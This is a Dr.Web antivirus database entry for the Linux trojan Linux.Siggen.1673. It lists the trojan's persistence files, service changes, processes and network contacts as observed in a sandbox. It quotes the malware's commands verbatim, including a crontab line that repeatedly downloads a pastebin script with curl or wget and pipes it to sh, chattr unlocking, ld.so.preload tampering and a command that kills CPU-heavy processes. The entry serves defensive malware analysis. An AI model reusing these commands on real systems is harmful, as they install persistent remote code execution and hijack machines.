JavaScript support is required for our site to be fully operational in your browser.
Linux.Siggen.1673
Added to the Dr.Web virus database:
2019-05-09
Virus description added:
2019-05-09
Technical Information
To ensure autorun and distribution:
Creates or modifies the following files:
/etc/init.d/netdns
/etc/init.d/.depend.boot
/etc/init.d/.depend.start
/etc/init.d/.depend.stop
/var/spool/cron/crontabs/root
/etc/cron.d/root
Creates or modifies the following symlinks:
/etc/rc0.d/K01netdns
/etc/rc1.d/K01netdns
/etc/rc2.d/S01netdns
/etc/rc3.d/S01netdns
/etc/rc4.d/S01netdns
/etc/rc5.d/S01netdns
/etc/rc6.d/K01netdns
Malicious functions:
Launches itself as a daemon
Compiles a program from source codes:
gcc /usr/local/lib/libboost_timed.c -Wall -shared -fPIC -ldl -o /usr/local/lib/libboost_timed.so
Manages services:
systemctl enable netdns
/usr/sbin/update-rc.d netdns defaults
systemctl daemon-reload
/usr/sbin/update-rc.d netdns enable
Launches processes:
<SAMPLE_FULL_PATH> [edac-poller]
<SAMPLE_FULL_PATH> [kpsmoused]
/bin/bash -c chattr -i /usr/lib/systemd/system/netdns.service
chattr -i /usr/lib/systemd/system/netdns.service
/bin/bash -c chkconfig --add netdns
/bin/bash -c systemctl enable netdns
/sbin/insserv netdns
/bin/bash -c chattr -i /usr/local/bin/kerberods
chattr -i /usr/local/bin/kerberods
/bin/bash -c chattr -i /usr/libexec/tmp/kerberods
chattr -i /usr/libexec/tmp/kerberods
/bin/bash -c chattr -i /usr/bin/kerberods
chattr -i /usr/bin/kerberods
/bin/bash -c chattr -i /tmp/kerberods
chattr -i /tmp/kerberods
/bin/bash -c chattr -i /etc/ld.so.preload
chattr -i /etc/ld.so.preload
/bin/bash -c chattr -i /usr/local/lib/libboost_timed.so
chattr -i /usr/local/lib/libboost_timed.so
/bin/bash -c chattr -i /usr/local/lib/libboost_timed.c
chattr -i /usr/local/lib/libboost_timed.c
/bin/bash -c gcc /usr/local/lib/libboost_timed.c -Wall -shared -fPIC -ldl -o /usr/local/lib/libboost_timed.so
/bin/bash -c echo \"*/10 * * * * (curl -fsSL https://pastebin.com/raw/LD1QaXpQ||wget -q -O- https://pastebin.com/raw/LD1QaXpQ)|sh\" | crontab -
crontab -
/bin/bash -c chattr -i /tmp/migrationds
chattr -i /tmp/migrationds
/bin/bash -c ps aux|grep -v grep|grep -v 'migrationds'|awk '{if($3>=80.0) print $2}'|xargs kill -9
grep -v grep
ps aux
grep -v migrationds
xargs kill -9
awk {if($3>=80.0) print $2}
kill -9
/tmp/migrationds
Performs operations with the file system:
Modifies file access rights:
/usr/local/lib/libboost_timed.c
/usr/local/lib/libboost_timed.so
/etc/ld.so.preload
/etc/hosts
/var/spool/cron/crontabs/tmp.2mJPwH
/etc/cron.d/root
/var/spool/cron/root
/var/spool/cron/crontabs/root
Creates or modifies files:
/tmp/.XIMunix
/usr/sbin/kerberods
/usr/lib/systemd/system/netdns.service
/usr/local/lib/libboost_timed.c
/tmp/ccSqQjoa.s
/tmp/ccn9LdsQ.o
/tmp/ccX2XtMx.res
/tmp/ccJcUBcB.c
/tmp/ccRg1eOi.o
/tmp/ccARC7p0.ld
/tmp/ccmf6d2H.le
/usr/local/lib/libboost_timed.so
/etc/ld.so.preload
/etc/hosts
/var/spool/cron/crontabs/tmp.2mJPwH
/var/spool/cron/root
/tmp/tmpf03ve97
/tmp/tmpf03ve97 (deleted)
/tmp/migrationds
/tmp/tmpfLMRpoE
/tmp/tmpfLMRpoE (deleted)
Deletes files:
/usr/local/bin/kerberods
/usr/libexec/tmp/kerberods
/usr/bin/kerberods
/tmp/kerberods
/etc/ld.so.preload
/usr/local/lib/libboost_timed.so
/usr/local/lib/libboost_timed.c
/tmp/ccARC7p0.ld
/tmp/ccmf6d2H.le
/tmp/ccJcUBcB.c
/tmp/ccRg1eOi.o
/tmp/ccX2XtMx.res
/tmp/ccn9LdsQ.o
/tmp/ccSqQjoa.s
/tmp/migrationds
/tmp/tmpf03ve97
/tmp/tmpfLMRpoE
Network activity:
Establishes connection:
<LOCAL_DNS_SERVER>
10#.#0.208.21:9
10#.#0.209.21:9
[2######00:10::6814:d015]:9
[2######00:10::6814:d115]:9
10#.##.208.21:443
10#.##.209.21:443
10#.###.53.213:51640
DNS ASK:
pa###bin.com
sy###mten.org
Sends data to the following servers:
10#.##.208.21:443
10#.##.209.21:443
10#.###.53.213:51640
Receives data from the following servers:
10#.##.208.21:443
10#.##.209.21:443
10#.###.53.213:51640
Other:
Collects CPU information
Collects RAM information
Collects information about network activity
Curing recommendations
Linux
Free trial
One month (no registration) or three months (registration and renewal discount)
Download Dr.Web for Android
Free three-month trial
All protection features available
Renew your trial license in AppGallery/on Google Pay
By continuing to use this website, you are consenting to Doctor Web’s use of cookies and other technologies related to the collection of visitor statistics. Learn more
OK